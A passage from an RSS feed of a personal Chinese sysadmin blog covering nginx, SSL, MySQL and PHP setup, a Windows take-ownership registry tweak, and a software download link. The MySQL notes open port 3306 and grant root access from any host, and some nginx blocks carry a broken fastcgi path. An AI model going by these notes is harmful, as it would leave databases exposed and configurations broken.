&nbsp; &nbsp; tcp_nopush on;<br />
&nbsp; &nbsp; # 开启gzip压缩<br />
&nbsp; &nbsp; gzip on;<br />
&nbsp; &nbsp; # 隐藏 nginx 的版本信息<br />
&nbsp; &nbsp; server_tokens off;<br />
&nbsp; &nbsp; # 包含其它自定义虚拟主机配置文件<br />
&nbsp; &nbsp; # mkdir /usr/local/webserver/nginx/conf/vhost<br />
&nbsp; &nbsp; include vhost/*.conf;<br />
&nbsp;<br />
&nbsp; &nbsp; # 注释掉 server { } 部分的默认配置<br />
}<br />
&nbsp;<br />
&nbsp;<br />
#按i可以插入 。。。<br />
#找到这里 修改<br />
server {<br />
&nbsp; &nbsp; &nbsp; &nbsp; listen&nbsp; &nbsp; &nbsp; &nbsp;80;<br />
&nbsp; &nbsp; &nbsp; &nbsp; server_name&nbsp; www.zuoer.xin;<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; #charset koi8-r;<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; #access_log&nbsp; logs/host.access.log&nbsp; main;<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; location / {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; root&nbsp; &nbsp;html;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; index&nbsp; index.php index.html index.htm;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; #error_page&nbsp; 404&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; /404.html;<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; # redirect server error pages to the static page /50x.html<br />
&nbsp; &nbsp; &nbsp; &nbsp; #<br />
&nbsp; &nbsp; &nbsp; &nbsp; error_page&nbsp; &nbsp;500 502 503 504&nbsp; /50x.html;<br />
&nbsp; &nbsp; &nbsp; &nbsp; location = /50x.html {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; root&nbsp; &nbsp;html;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
location ~ \.php$ {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; root&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;html;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fastcgi_pass&nbsp; &nbsp;127.0.0.1:9000;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fastcgi_index&nbsp; index.php;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fastcgi_param&nbsp; SCRIPT_FILENAME&nbsp; $document_root$fastcgi_script_name;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; include&nbsp; &nbsp; &nbsp; &nbsp; fastcgi_params;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
}<br />
下面非必须配置<br />
server {<br />
&nbsp; &nbsp; &nbsp; &nbsp; listen&nbsp; &nbsp; &nbsp; &nbsp;443 ssl;<br />
&nbsp; &nbsp; &nbsp; &nbsp; server_name&nbsp; www.zuoer.xin;<br />
&nbsp; &nbsp; &nbsp; &nbsp; ssl_certificate&nbsp; &nbsp; &nbsp; cert.pem;<br />
&nbsp; &nbsp; &nbsp; &nbsp; ssl_certificate_key&nbsp; cert.key;<br />
&nbsp; &nbsp; &nbsp; &nbsp; ssl_session_cache&nbsp; &nbsp; shared:SSL:1m;<br />
&nbsp; &nbsp; &nbsp; &nbsp; ssl_session_timeout&nbsp; 5m;<br />
&nbsp; &nbsp; &nbsp; &nbsp; ssl_ciphers&nbsp; HIGH:!aNULL:!MD5;<br />
&nbsp; &nbsp; &nbsp; &nbsp; ssl_prefer_server_ciphers&nbsp; on;<br />
&nbsp; &nbsp; &nbsp; &nbsp; location / {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; root&nbsp; &nbsp;html;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; index&nbsp; index.php index.html index.htm;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
location ~ \.php$ {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; root&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;html;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fastcgi_pass&nbsp; &nbsp;127.0.0.1:9000;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fastcgi_index&nbsp; index.php;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fastcgi_param&nbsp; SCRIPT_FILENAME&nbsp; /document_root $fastcgi_script_name;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; include&nbsp; &nbsp; &nbsp; &nbsp; fastcgi_params;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; }<br />
&nbsp;<br />
#上传证书到服务器 scp -p ./*****zuoer.xin_nginx.zip root@*****:/usr/local/nginx/conf<br />
#解压 unzip *****zuoer.xin_nginx.zip<br />
&nbsp;<br />
拷贝<br />
cp cert.key /usr/local/nginx/conf/cert.key<br />
cp cert.pem /usr/local/nginx/conf/cert.pem<br />
&nbsp;<br />
如果出现错误<br />
[root@ sbin]# ./nginx -t<br />
nginx: [emerg] unknown directive "ssl" in /usr/local/nginx/conf/nginx.conf:98<br />
nginx: configuration file /usr/local/nginx/conf/nginx.conf test failed<br />
错误解决步骤<br />
&nbsp;<br />
既然在安装的时候没有编译ssl，难道把nginx卸载重新安装一次？不不不，我们只需要在原有的基础上添加ssl模块就行了。<br />
&nbsp;<br />
步骤一：我们先来到当初下载nginx的包压缩的解压目录，如果你是看小编写的教程安装的，解压目录应该在“/usr/loacl/src/”，绝大多数应该都是在这个目录下的，已经是一种规范了。<br />
&nbsp;<br />
步骤二：来到解压目录下后，按顺序执行一下命令：<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;命令1、./configure --with-http_ssl_module&nbsp; //重新添加这个ssl模块<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 注意如果没有出现错误，则直接看命令2即可&nbsp;<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;执行以上一条命令出现这个错误（./configure：错误：SSL模块需要OpenSSL库。），原因是因为缺少了OpenSSL，那我们再来安装一个即可执行：yum -y install openssl openssl-devel<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 等待OpenSSL的安装完成后，再执行./configure ，最后在执行” 命令1" 即可。<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;命令2、执行make命令，但是不要执行make install，因为make是用来编译的，而make install是安装，不然你整个nginx会重新覆盖的。<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;命令3、在我们执行完做命令后，我们可以查看到在nginx解压目录下，objs文件夹中多了一个nginx的文件，这个就是新版本的程序了。首先我们把之前的nginx先备份一下，然后把新的程序复制过去覆盖之前的即可。<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;cp /usr/local/nginx/sbin/nginx /usr/local/nginx/sbin/nginx.bak<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;cp objs/nginx /usr/local/nginx/sbin/nginx<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;命令4，最后我们来到Nginx安装目录下，来查看是否有安装ssl模块成功。执行./sbin/nginx -V即可看到<br />
6.开端口&nbsp;<br />
<br />
&nbsp;<br />
firewall-cmd --zone=public --add-port=80/tcp --permanent<br />
firewall-cmd --zone=public --add-port=443/tcp --permanent<br />
firewall-cmd --zone=public --add-port=3306/tcp --permanent<br />
7.启动nginx<br />
<br />
&nbsp;<br />
nginx 开机启动<br />
# vi /etc/rc.local<br />
/usr/local/webserver/nginx/sbin/nginx<br />
&nbsp;<br />
# 测试<br />
# nginx -t<br />
# 重启和停止<br />
# nginx -s reload | stop<br />
&nbsp;<br />
/usr/local/nginx/sbin/nginx -c /usr/local/nginx/conf/nginx.conf<br />
&nbsp;<br />
重启命令<br />
/usr/local/nginx/sbin/nginx -s reload&nbsp;<br />
&nbsp;<br />
Nginx 站点加密<br />
创建脚本 vi /usr/local/sbin/htpasswd.pl，输入<br />
#!/usr/bin/perl<br />
use strict;<br />
my $pw=$ARGV[0] ;<br />
print crypt($pw,$pw)."\n";<br />
生成密码<br />
chmod +x /usr/local/sbin/htpasswd.pl<br />
# passwd 是要生成的密码<br />
/usr/local/sbin/htpasswd.pl passwd<br />
# 创建完成后删除 htpasswd.pl<br />
创建存放用户名和密码的文件 vi /usr/local/webserver/nginx/conf/.htpasswd<br />
输入 user:passwd，user 是用户名，passwd 是刚才生成的密码<br />
在需要加密的 server 或者 location 中增加如下配置<br />
auth_basic<span style="white-space:pre;"> </span>"login...";<br />
auth_basic_user_file<span style="white-space:pre;"> </span>/usr/local/webserver/nginx/conf/.htpasswd<br />
8.80定向443 （可选）<br />
<br />
&nbsp;<br />
server {<br />
&nbsp; &nbsp; &nbsp; &nbsp; listen&nbsp; &nbsp; &nbsp; &nbsp;80;<br />
&nbsp; &nbsp; &nbsp; &nbsp; server_name&nbsp; zuoer.xin;<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; #charset koi8-r;<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; #access_log&nbsp; logs/host.access.log&nbsp; main;<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; location / {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; root&nbsp; &nbsp;html;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; index&nbsp; index.php index.html index.htm;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
&nbsp; &nbsp; &nbsp; &nbsp; rewrite ^(.*)$&nbsp; https://$server_name$1 permanent;<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; #error_page&nbsp; 404&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; /404.html;<br />
&nbsp;<br />
&nbsp; &nbsp; &nbsp; &nbsp; # redirect server error pages to the static page /50x.html<br />
&nbsp; &nbsp; &nbsp; &nbsp; #<br />
&nbsp; &nbsp; &nbsp; &nbsp; error_page&nbsp; &nbsp;500 502 503 504&nbsp; /50x.html;<br />
&nbsp; &nbsp; &nbsp; &nbsp; location = /50x.html {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; root&nbsp; &nbsp;html;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
location ~ \.php$ {<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; root&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;html;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fastcgi_pass&nbsp; &nbsp;127.0.0.1:9000;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fastcgi_index&nbsp; index.php;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fastcgi_param&nbsp; SCRIPT_FILENAME&nbsp; /document_root $fastcgi_script_name;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; include&nbsp; &nbsp; &nbsp; &nbsp; fastcgi_params;<br />
&nbsp; &nbsp; &nbsp; &nbsp; }<br />
}<br />
9.安装mysql<br />
<br />
wget http://repo.mysql.com/mysql-community-release-el7-5.noarch.rpm<br />
rpm -ivh mysql-community-release-el7-5.noarch.rpm<br />
yum update<br />
yum install mysql-server<br />
&nbsp;<br />
权限设置：<br />
&nbsp;<br />
chown mysql:mysql -R /var/lib/mysql<br />
初始化 MySQL：<br />
&nbsp;<br />
su 普通用户<br />
mysqld --initialize<br />
启动 MySQL：<br />
&nbsp;<br />
systemctl start mysqld<br />
查看 MySQL 运行状态：<br />
&nbsp;<br />
systemctl status mysqld<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
service mysql start<br />
&nbsp;<br />
mysqladmin -u root password "new_password";<br />
&nbsp;<br />
#开远程 mysql -u root -p<br />
use mysql<br />
select t.host from user t where t.user='root';<br />
update user set host='%' where user='root';<br />
出错无碍<br />
flush privileges;<br />
php 双版本(没成功 记录一下)<br />
<br />
./configure --prefix=/usr/local/php5 --with-config-file-path=/usr/local/php5/etc&nbsp; --with-libxml-dir --with-gd --with-jpeg-dir --with-png-dir --with-freetype-dir --with-iconv-dir --with-zlib-dir --with-bz2 --with-openssl --with-mcrypt --enable-soap --enable-gd-native-ttf --enable-mbstring --enable-sockets --enable-exif<br />
&nbsp;<br />
&nbsp;<br />
yum install -y libxml2-devel&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
yum install -y openssl-devel&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
yum install -y bzip2-devel&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
yum install -y libjpeg-devel&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
yum install -y libpng-devel&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
yum install -y freetype-devel&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
yum install -y epel-release –需要先安装epel扩展源。借助第三方源安装&nbsp;<br />
yum install -y libmcrypt-devel&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
./configure到这个提示完成<br />
&nbsp;<br />
再make &amp;&amp; make install<br />
&nbsp;<br />
cp php.ini-production&nbsp; /usr/local/php/etc/php.ini<br />
#查看是否加载配置文件<br />
/usr/local/php/bin/php -i |less<br />
&nbsp;<br />
首先：find命令找下php在哪里先<br />
&nbsp;<br />
#find / -name php<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;<br />
第一步：ln命令（百度下大把资源）主要用来创建软连接<br />
&nbsp;<br />
现在主要是想将5版本换7版本：<br />
ln -s /usr/local/php5/bin/php /usr/local/bin<br />
&nbsp;<br />
或者<br />
#ln -s /usr/local/php-5.5/bin/php(你想要换成的php版本的路径) /usr/sbin/php（最后一个php可以换成你自己喜欢的名字，最好php吧）<br />
&nbsp;<br />
第二步：export命令将软连接加到PATH路径中<br />
&nbsp;<br />
#export PATH="$PATH:/usr/sbin/php"（将上面你准备好的连接加进去就可以了，中间：冒号别漏了，用来做分割的）<br />
&nbsp;<br />
&nbsp;<br />
最后：看下效果<br />
&nbsp;<br />
#php -v<br />
&nbsp;<br />
&nbsp;<br />
/usr/local/nginx/sbin/nginx -c /usr/local/nginx/conf/nginx.conf<br />
&nbsp;<br />
重启命令<br />
/usr/local/nginx/sbin/nginx -s reload&nbsp;<br />
<br />
&nbsp;<br />
server<br />
{<br />
<span style="white-space:pre;"> </span>listen 80 default;<br />
<span style="white-space:pre;"> </span>server_name<span style="white-space:pre;"> </span>_;<br />
<span style="white-space:pre;"> </span>access_log&nbsp; off;<br />
<span style="white-space:pre;"> </span>deny all;<br />
}<br />
&nbsp;<br />
server<br />
{<br />
<span style="white-space:pre;"> </span>listen 8080 default;<br />
<span style="white-space:pre;"> </span>server_name<span style="white-space:pre;"> </span>_;<br />
<span style="white-space:pre;"> </span>access_log&nbsp; off;<br />
<span style="white-space:pre;"> </span>deny all;<br />
}<br />
&nbsp;<br />
server {<br />
<span style="white-space:pre;"> </span>listen 80;<br />
<span style="white-space:pre;"> </span>server_name example.com;<br />
<span style="white-space:pre;"> </span>index index.html index.htm index.php;<br />
<span style="white-space:pre;"> </span>root&nbsp; /data/htdocs/example.com;<br />
&nbsp;<br />
<span style="white-space:pre;"> </span>location / {<br />
<span style="white-space:pre;"> </span>rewrite ^(.*) https://$server_name$1 permanent;<br />
<span style="white-space:pre;"> </span>}<br />
<span style="white-space:pre;"> </span>access_log&nbsp; off;<br />
}<br />
&nbsp;<br />
server<br />
{<br />
<span style="white-space:pre;"> </span>listen<span style="white-space:pre;"> </span>443;<br />
<span style="white-space:pre;"> </span>server_name&nbsp; example.com;<br />
<span style="white-space:pre;"> </span>if ($host != 'example.com') {<br />
<span style="white-space:pre;"> </span>rewrite<span style="white-space:pre;"> </span>^/(.*)$<span style="white-space:pre;"> </span>http://www.example.com/<span style="white-space:pre;"> </span>permanent;<br />
<span style="white-space:pre;"> </span>}<br />
<span style="white-space:pre;"> </span>index index.html index.htm index.php;<br />
<span style="white-space:pre;"> </span>root&nbsp; /data/htdocs/example.com;<br />
&nbsp;<br />
<span style="white-space:pre;"> </span>ssl on;<br />
<span style="white-space:pre;"> </span>ssl_certificate ssl/example.com.crt;<br />
<span style="white-space:pre;"> </span>ssl_certificate_key ssl/example.com.key;<br />
<span style="white-space:pre;"> </span><br />
<span style="white-space:pre;"> </span>auth_basic<span style="white-space:pre;"> </span>"login...";<br />
<span style="white-space:pre;"> </span>auth_basic_user_file&nbsp; /usr/local/webserver/nginx/conf/.htpasswd;<br />
&nbsp;<br />
<span style="white-space:pre;"> </span>location /status {<br />
<span style="white-space:pre;"> </span>stub_status on;<br />
<span style="white-space:pre;"> </span>}<br />
&nbsp;<br />
<span style="white-space:pre;"> </span>location /phpfpm_status {<br />
<span style="white-space:pre;"> </span>fastcgi_pass&nbsp; 127.0.0.1:9000;<br />
<span style="white-space:pre;"> </span>fastcgi_index index.php;<br />
<span style="white-space:pre;"> </span>fastcgi_param&nbsp; HTTPS on;<br />
<span style="white-space:pre;"> </span>include fastcgi.conf;<span style="white-space:pre;"> </span><br />
<span style="white-space:pre;"> </span>}<br />
&nbsp;<br />
<span style="white-space:pre;"> </span>location ~ \.(php|php5)?$<br />
<span style="white-space:pre;"> </span>{&nbsp; &nbsp; &nbsp;&nbsp;<br />
<span style="white-space:pre;"> </span>fastcgi_pass&nbsp; 127.0.0.1:9000;<br />
<span style="white-space:pre;"> </span>fastcgi_index index.php;<br />
<span style="white-space:pre;"> </span>fastcgi_param&nbsp; HTTPS on;<br />
<span style="white-space:pre;"> </span>include fastcgi.conf;<br />
<span style="white-space:pre;"> </span>}<br />
<span style="white-space:pre;"> </span><br />
<span style="white-space:pre;"> </span>location ~ \.(gif|jpg|jpeg|png|bmp|swf|js|css)$<br />
<span style="white-space:pre;"> </span>{<br />
<span style="white-space:pre;"> </span>expires&nbsp; &nbsp; &nbsp; 30d;<br />
<span style="white-space:pre;"> </span>}<br />
&nbsp;<br />
<span style="white-space:pre;"> </span>access_log&nbsp; off;<br />
}<br />
<br />]]></description>
	<pubDate>Wed, 22 May 2019 12:18:54 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=41</guid>

</item>
<item>
	<title>WIN7下C:\Documents and Settings这路径被锁如何打开?</title>
	<link>https://www.zuoer.xin/?post=40</link>
	<description><![CDATA[<span style="color:#333333;font-family:&quot;font-size:16px;white-space:normal;background-color:#FFFFFF;">修改权限</span><br style="content:&quot;display:block;width:705px;height:0px;margin:15px 0px;color:#333333;font-family:&quot;font-size:16px;white-space:normal;background-color:#FFFFFF;" />
<span style="color:#333333;font-family:&quot;font-size:16px;white-space:normal;background-color:#FFFFFF;">1.右键单击“计算机”，进入“管理”找到“用户和组”</span><br style="content:&quot;display:block;width:705px;height:0px;margin:15px 0px;color:#333333;font-family:&quot;font-size:16px;white-space:normal;background-color:#FFFFFF;" />
<br style="content:&quot;display:block;width:705px;height:0px;margin:15px 0px;color:#333333;font-family:&quot;font-size:16px;white-space:normal;background-color:#FFFFFF;" />
<span style="color:#333333;font-family:&quot;font-size:16px;white-space:normal;background-color:#FFFFFF;">2.找到administrators，右键调出属性，把“该账户已禁用”前面的勾去掉。</span><br style="content:&quot;display:block;width:705px;height:0px;margin:15px 0px;color:#333333;font-family:&quot;font-size:16px;white-space:normal;background-color:#FFFFFF;" />
<br style="content:&quot;display:block;width:705px;height:0px;margin:15px 0px;color:#333333;font-family:&quot;font-size:16px;white-space:normal;background-color:#FFFFFF;" />
<span style="color:#333333;font-family:&quot;font-size:16px;white-space:normal;background-color:#FFFFFF;">回桌面</span><br style="content:&quot;display:block;width:705px;height:0px;margin:15px 0px;color:#333333;font-family:&quot;font-size:16px;white-space:normal;background-color:#FFFFFF;" />
<br style="content:&quot;display:block;width:705px;height:0px;margin:15px 0px;color:#333333;font-family:&quot;font-size:16px;white-space:normal;background-color:#FFFFFF;" />
<span style="color:#333333;font-family:&quot;font-size:16px;white-space:normal;background-color:#FFFFFF;">3.新建“记事本”,copy 如下内容：</span><br style="content:&quot;display:block;width:705px;height:0px;margin:15px 0px;color:#333333;font-family:&quot;font-size:16px;white-space:normal;background-color:#FFFFFF;" />
<br style="content:&quot;display:block;width:705px;height:0px;margin:15px 0px;color:#333333;font-family:&quot;font-size:16px;white-space:normal;background-color:#FFFFFF;" />
<span style="color:#333333;font-family:&quot;font-size:16px;white-space:normal;background-color:#FFFFFF;">Windows Registry Editor Version 5.00</span><br style="content:&quot;display:block;width:705px;height:0px;margin:15px 0px;color:#333333;font-family:&quot;font-size:16px;white-space:normal;background-color:#FFFFFF;" />
<br style="content:&quot;display:block;width:705px;height:0px;margin:15px 0px;color:#333333;font-family:&quot;font-size:16px;white-space:normal;background-color:#FFFFFF;" />
<span style="color:#333333;font-family:&quot;font-size:16px;white-space:normal;background-color:#FFFFFF;">[HKEY_CLASSES_ROOT\*\shell\runas]</span><br style="content:&quot;display:block;width:705px;height:0px;margin:15px 0px;color:#333333;font-family:&quot;font-size:16px;white-space:normal;background-color:#FFFFFF;" />
<span style="color:#333333;font-family:&quot;font-size:16px;white-space:normal;background-color:#FFFFFF;">@="管理员取得所有权"</span><br style="content:&quot;display:block;width:705px;height:0px;margin:15px 0px;color:#333333;font-family:&quot;font-size:16px;white-space:normal;background-color:#FFFFFF;" />
<span style="color:#333333;font-family:&quot;font-size:16px;white-space:normal;background-color:#FFFFFF;">"NoWorkingDirectory"=""</span><br style="content:&quot;display:block;width:705px;height:0px;margin:15px 0px;color:#333333;font-family:&quot;font-size:16px;white-space:normal;background-color:#FFFFFF;" />
<br style="content:&quot;display:block;width:705px;height:0px;margin:15px 0px;color:#333333;font-family:&quot;font-size:16px;white-space:normal;background-color:#FFFFFF;" />
<span style="color:#333333;font-family:&quot;font-size:16px;white-space:normal;background-color:#FFFFFF;">[HKEY_CLASSES_ROOT\*\shell\runas\command]</span><br style="content:&quot;display:block;width:705px;height:0px;margin:15px 0px;color:#333333;font-family:&quot;font-size:16px;white-space:normal;background-color:#FFFFFF;" />
<span style="color:#333333;font-family:&quot;font-size:16px;white-space:normal;background-color:#FFFFFF;">@="cmd.exe /c takeown /f \"%1\" &amp;&amp; icacls \"%1\" /grant administrators:F"</span><br style="content:&quot;display:block;width:705px;height:0px;margin:15px 0px;color:#333333;font-family:&quot;font-size:16px;white-space:normal;background-color:#FFFFFF;" />
<span style="color:#333333;font-family:&quot;font-size:16px;white-space:normal;background-color:#FFFFFF;">"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" &amp;&amp; icacls \"%1\" /grant administrators:F"</span><br style="content:&quot;display:block;width:705px;height:0px;margin:15px 0px;color:#333333;font-family:&quot;font-size:16px;white-space:normal;background-color:#FFFFFF;" />
<br style="content:&quot;display:block;width:705px;height:0px;margin:15px 0px;color:#333333;font-family:&quot;font-size:16px;white-space:normal;background-color:#FFFFFF;" />
<span style="color:#333333;font-family:&quot;font-size:16px;white-space:normal;background-color:#FFFFFF;">[HKEY_CLASSES_ROOT\exefile\shell\runas2]</span><br style="content:&quot;display:block;width:705px;height:0px;margin:15px 0px;color:#333333;font-family:&quot;font-size:16px;white-space:normal;background-color:#FFFFFF;" />
<span style="color:#333333;font-family:&quot;font-size:16px;white-space:normal;background-color:#FFFFFF;">@="管理员取得所有权"</span><br style="content:&quot;display:block;width:705px;height:0px;margin:15px 0px;color:#333333;font-family:&quot;font-size:16px;white-space:normal;background-color:#FFFFFF;" />
<span style="color:#333333;font-family:&quot;font-size:16px;white-space:normal;background-color:#FFFFFF;">"NoWorkingDirectory"=""</span><br style="content:&quot;display:block;width:705px;height:0px;margin:15px 0px;color:#333333;font-family:&quot;font-size:16px;white-space:normal;background-color:#FFFFFF;" />
<br style="content:&quot;display:block;width:705px;height:0px;margin:15px 0px;color:#333333;font-family:&quot;font-size:16px;white-space:normal;background-color:#FFFFFF;" />
<span style="color:#333333;font-family:&quot;font-size:16px;white-space:normal;background-color:#FFFFFF;">[HKEY_CLASSES_ROOT\exefile\shell\runas2\command]</span><br style="content:&quot;display:block;width:705px;height:0px;margin:15px 0px;color:#333333;font-family:&quot;font-size:16px;white-space:normal;background-color:#FFFFFF;" />
<span style="color:#333333;font-family:&quot;font-size:16px;white-space:normal;background-color:#FFFFFF;">@="cmd.exe /c takeown /f \"%1\" &amp;&amp; icacls \"%1\" /grant administrators:F"</span><br style="content:&quot;display:block;width:705px;height:0px;margin:15px 0px;color:#333333;font-family:&quot;font-size:16px;white-space:normal;background-color:#FFFFFF;" />
<span style="color:#333333;font-family:&quot;font-size:16px;white-space:normal;background-color:#FFFFFF;">"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" &amp;&amp; icacls \"%1\" /grant administrators:F"</span><br style="content:&quot;display:block;width:705px;height:0px;margin:15px 0px;color:#333333;font-family:&quot;font-size:16px;white-space:normal;background-color:#FFFFFF;" />
<br style="content:&quot;display:block;width:705px;height:0px;margin:15px 0px;color:#333333;font-family:&quot;font-size:16px;white-space:normal;background-color:#FFFFFF;" />
<span style="color:#333333;font-family:&quot;font-size:16px;white-space:normal;background-color:#FFFFFF;">[HKEY_CLASSES_ROOT\Directory\shell\runas]</span><br style="content:&quot;display:block;width:705px;height:0px;margin:15px 0px;color:#333333;font-family:&quot;font-size:16px;white-space:normal;background-color:#FFFFFF;" />
<span style="color:#333333;font-family:&quot;font-size:16px;white-space:normal;background-color:#FFFFFF;">@="管理员取得所有权"</span><br style="content:&quot;display:block;width:705px;height:0px;margin:15px 0px;color:#333333;font-family:&quot;font-size:16px;white-space:normal;background-color:#FFFFFF;" />
<span style="color:#333333;font-family:&quot;font-size:16px;white-space:normal;background-color:#FFFFFF;">"NoWorkingDirectory"=""</span><br style="content:&quot;display:block;width:705px;height:0px;margin:15px 0px;color:#333333;font-family:&quot;font-size:16px;white-space:normal;background-color:#FFFFFF;" />
<br style="content:&quot;display:block;width:705px;height:0px;margin:15px 0px;color:#333333;font-family:&quot;font-size:16px;white-space:normal;background-color:#FFFFFF;" />
<span style="color:#333333;font-family:&quot;font-size:16px;white-space:normal;background-color:#FFFFFF;">[HKEY_CLASSES_ROOT\Directory\shell\runas\command]</span><br style="content:&quot;display:block;width:705px;height:0px;margin:15px 0px;color:#333333;font-family:&quot;font-size:16px;white-space:normal;background-color:#FFFFFF;" />
<span style="color:#333333;font-family:&quot;font-size:16px;white-space:normal;background-color:#FFFFFF;">@="cmd.exe /c takeown /f \"%1\" /r /d y &amp;&amp; icacls \"%1\" /grant administrators:F /t"</span><br style="content:&quot;display:block;width:705px;height:0px;margin:15px 0px;color:#333333;font-family:&quot;font-size:16px;white-space:normal;background-color:#FFFFFF;" />
<span style="color:#333333;font-family:&quot;font-size:16px;white-space:normal;background-color:#FFFFFF;">"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" /r /d y &amp;&amp; icacls \"%1\" /grant administrators:F /t"</span><br style="content:&quot;display:block;width:705px;height:0px;margin:15px 0px;color:#333333;font-family:&quot;font-size:16px;white-space:normal;background-color:#FFFFFF;" />
<br style="content:&quot;display:block;width:705px;height:0px;margin:15px 0px;color:#333333;font-family:&quot;font-size:16px;white-space:normal;background-color:#FFFFFF;" />
<p>
	<span style="color:#333333;font-family:&quot;font-size:16px;white-space:normal;background-color:#FFFFFF;">完毕，另存为名字自命，后缀必须是【 .reg】</span>
</p>
<span style="color:#333333;font-family:&quot;font-size:16px;white-space:normal;background-color:#FFFFFF;">4,右击你的文件夹选"管理员取得所有权"就可以了。</span>]]></description>
	<pubDate>Tue, 18 Dec 2018 07:03:09 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=40</guid>

</item>
<item>
	<title>webstorm App.js 显示为txt格式怎么办</title>
	<link>https://www.zuoer.xin/?post=39</link>
	<description><![CDATA[<p>
	移除App.js - Apply - ok
</p>
<p>
	ps:点击App.js 再点减号移除
</p>
<p>
	<a target="_blank" href="https://www.zuoer.xin/content/uploadfile/201812/cb761544011779.png" id="ematt:67"><img src="https://www.zuoer.xin/content/uploadfile/201812/cb761544011779.png" title="点击查看原图" alt="QQ20181205-200922@2x.png" border="0" width="2858" height="1720" /></a> 
</p>]]></description>
	<pubDate>Wed, 05 Dec 2018 12:08:13 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=39</guid>

</item>
<item>
	<title>数据恢复软件</title>
	<link>https://www.zuoer.xin/?post=38</link>
	<description><![CDATA[链接:<a href="https://pan.baidu.com/s/10HMt1W66yVAowrX88yVVSg" target="_blank">https://pan.baidu.com/s/10HMt1W66yVAowrX88yVVSg&nbsp;</a> 密码:twp6]]></description>
	<pubDate>Wed, 05 Dec 2018 08:40:57 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=38</guid>

</item>
<item>
	<title>Linux下Apache、PHP、MySQL默认安装路径</title>
